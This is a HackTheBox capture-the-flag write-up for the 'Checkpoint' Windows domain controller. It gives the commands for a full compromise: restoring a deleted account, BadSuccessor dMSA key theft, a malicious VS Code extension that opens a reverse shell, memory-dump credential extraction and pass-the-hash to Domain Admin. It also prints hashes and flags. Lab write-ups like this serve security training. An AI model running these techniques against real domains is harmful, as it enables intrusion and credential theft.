HackTheBox — Checkpoint
1. Overview
| Machine | Checkpoint |
| OS | Windows (Server 2025 Domain Controller) |
| Difficulty | Medium |
| Domain | checkpoint.htb / DC: dc01.checkpoint.htb |
| Given creds | alex.turner : Checkpoint2024! (free season box) |
| user.txt | afbae41eb61150ea57d3e26217d95280 |
| root.txt | 0dce7d255c4e5307c877a9da7dd72836 |
Attack chain: restore a deleted user (mark.davies) → BadSuccessor (dMSA) to steal its hash → abuse mark.davies's share ACL to drop a malicious VS Code .vsix → RCE as developer ryan.brooks → hybrid BadSuccessor on svc_deploy → read VMBackups → volatility3 on a VM memory dump → local Administrator hash → Pass-the-Hash to Domain Admin.
2. Reconnaissance
Port scan
nmap -p- --min-rate 5000 --max-retries 1 -T4 -Pn -n 10.129.6.126
nmap -p88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sV 10.129.6.126
Result — a standard AD Domain Controller, plus an unusual DNS banner:
53/tcp open domain Simple DNS Plus <-- third-party DNS
88/tcp open kerberos-sec
389/tcp open ldap Domain: checkpoint.htb
445/tcp open microsoft-ds
5985/tcp open wsman (WinRM)
9389/tcp open mc-nmf (ADWS)
Domain discovery via DNS
SMB null session and anonymous LDAP are locked down, but DNS (port 53) answers:
dig @10.129.6.126 checkpoint.htb SOA +short # -> dc01.checkpoint.htb
dig @10.129.6.126 _ldap._tcp.checkpoint.htb SRV # -> dc01.checkpoint.htb:389
macOS environment setup (important)
Because the DC enforces LDAP signing, returns an IPv6 AAAA record that won't route over the IPv4 VPN, and is ~7h ahead (clock skew), the following were needed:
- A
usercustomize.pyin the python user-site dir that (a) forcesdc01.checkpoint.htb→ IPv4 viasocket.getaddrinfo, and (b) shiftstime/datetimebyIMP_TIME_OFFSET=25200seconds so impacket's pure-python Kerberos matches the DC clock (faketimeis unreliable on hardened homebrew python). - bloodyAD as the LDAP read/write engine — its backend does Kerberos sign+seal and auto-corrects clock skew, unlike impacket 0.12's LDAP.
getTGT.py checkpoint.htb/alex.turner:'Checkpoint2024!' -dc-ip 10.129.6.126 # with IMP_TIME_OFFSET=25200
3. Foothold → mark.davies
alex.turner's ACL rights
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -k get writable
GenericWriteon the deleted objectMark Davies(CN=Mark Davies\0ADEL:…,CN=Deleted Objects)CreateChildonOU=Employees
Restore the deleted account
bloodyAD ... -k set restore mark.davies
# [+] mark.davies restored under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
Password reset, PKINIT (shadow creds), and Kerberoast-crack all fail (no Reset right, no AD CS, uncrackable password). The only usable GenericWrite primitive is BadSuccessor.
BadSuccessor (dMSA) → steal mark.davies's hash
The DC is Server 2025. With CreateChild on an OU plus the ability to write the target's msDS-Superseded* attributes (we have GenericWrite on mark.davies), a delegated MSA can be created that "supersedes" the target — its TGS key package leaks the predecessor's keys:
bloodyAD ... -u alex.turner -k add badSuccessor pwnmsa \
-t 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' --ou 'OU=Employees,DC=checkpoint,DC=htb'
# dMSA previous keys (mark.davies): RC4: 0b28e49d9deb96f99d74578e214faec2
Reproduction (tmux, rendered via Chrome — the screenshots below are live re-runs against the box):

4. mark.davies → ryan.brooks (malicious VSIX RCE)
mark.davies's SID has write access to the DevDrop SMB share (C:\Shares\DevDrop, "VS Code extensions share"). RC4 Pass-the-Hash over Kerberos is blocked (AES-only KDC), but the dMSA TGT itself carries mark.davies's SID, so it authenticates to SMB:
# upload using the dMSA ccache
KRB5CCNAME=pwnmsa_*.ccache smbclient.py -k -no-pass 'checkpoint.htb/pwnmsa$@dc01.checkpoint.htb'
> use DevDrop
> put code-helper.vsix
A malicious .vsix (a zip with extension.vsixmanifest, [Content_Types].xml, and an extension.js whose activate() runs a PowerShell reverse shell) is auto-installed by a developer's VS Code. Within seconds:
[+] Connection from 10.129.6.126
checkpoint\ryan.brooks (member of DevTeam)
user.txt is on ryan.brooks's desktop:
C:\Users\ryan.brooks\Desktop\user.txt -> afbae41eb61150ea57d3e26217d95280

5. Privilege Escalation → svc_deploy → Administrator
ryan.brooks → svc_deploy (hybrid BadSuccessor)
ryan.brooks has GenericWrite on svc_deploy (member of BackupAccess + Remote Management Users). svc_deploy has no SPN and can't be reset directly, so BadSuccessor again — split across two identities:
- alex.turner (CreateChild on Employees) creates the dMSA superseding svc_deploy:
bloodyAD ... -u alex.turner -k add badSuccessor deploymsa \ -t 'CN=svc_deploy,OU=ServiceAccounts,...' --ou 'OU=Employees,...' --prepatch - ryan.brooks (shell) writes svc_deploy's superseded-link (which alex.turner cannot):
Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Add @{'msDS-SupersededManagedAccountLink'='CN=deploymsa,OU=Employees,...'} Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Replace @{'msDS-SupersededServiceAccountState'=2} - alex.turner retrieves the dMSA TGT → leaks svc_deploy's keys:
badS4U2self 'kerberos+ccache://checkpoint.htb\alex.turner:<ccache>@10.129.6.126/' \ 'krbtgt/checkpoint.htb@checkpoint.htb' 'deploymsa$@checkpoint.htb' --dmsa # svc_deploy NT hash: e16081eb077aca74bdbf8af12af43ac9
svc_deploy → VMBackups → volatility3
svc_deploy (BackupAccess) can read the VMBackups share over NTLM PtH:
smbclient.py -hashes :e16081eb077aca74bdbf8af12af43ac9 checkpoint.htb/svc_deploy@dc01.checkpoint.htb
# VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem (2 GB)

Download the VMware memory snapshot and analyse with volatility3:
vol -f snapshot.vmem windows.registry.hivelist --dump # dump SAM / SYSTEM / SECURITY
secretsdump.py -sam registry.SAM... -system registry.SYSTEM... -security registry.SECURITY... LOCAL
# Administrator:500:...:f29e9c014295b9b32139b09a2790be3b:::

Pass-the-Hash → Domain Admin
The snapshot's local Administrator hash is reused as the domain Administrator. NTLM PtH works on dc01:
wmiexec.py -hashes :f29e9c014295b9b32139b09a2790be3b checkpoint.htb/Administrator@dc01.checkpoint.htb
C:\> type C:\Users\max.palmer\Desktop\root.txt
0dce7d255c4e5307c877a9da7dd72836

6. Flags
| Flag | Value |
|---|---|
| user.txt | afbae41eb61150ea57d3e26217d95280 |
| root.txt | 0dce7d255c4e5307c877a9da7dd72836 |

7. Key Techniques & Lessons
- Tombstone reanimation (
bloodyAD set restore) — aGenericWriteACE over a deleted object is enough to bring it back. - BadSuccessor (dMSA) — on Server 2025,
CreateChildon an OU + write on a target'smsDS-Superseded*attributes lets you mint a delegated MSA that inherits the target and leaks its keys via the TGS key package. Used twice here (mark.davies, then svc_deploy via a 2-identity split because the DC was patched and required the link on the target). - Malicious VSIX — a VS Code extension's
activate()is arbitrary Node.js; dropping one into a watched/auto-installed share yields RCE as the developer. - Memory-dump credential theft — a backup
.vmemis raw RAM; volatility3 → registry hives → secretsdump recovers the local Administrator hash; password reuse → Domain Admin.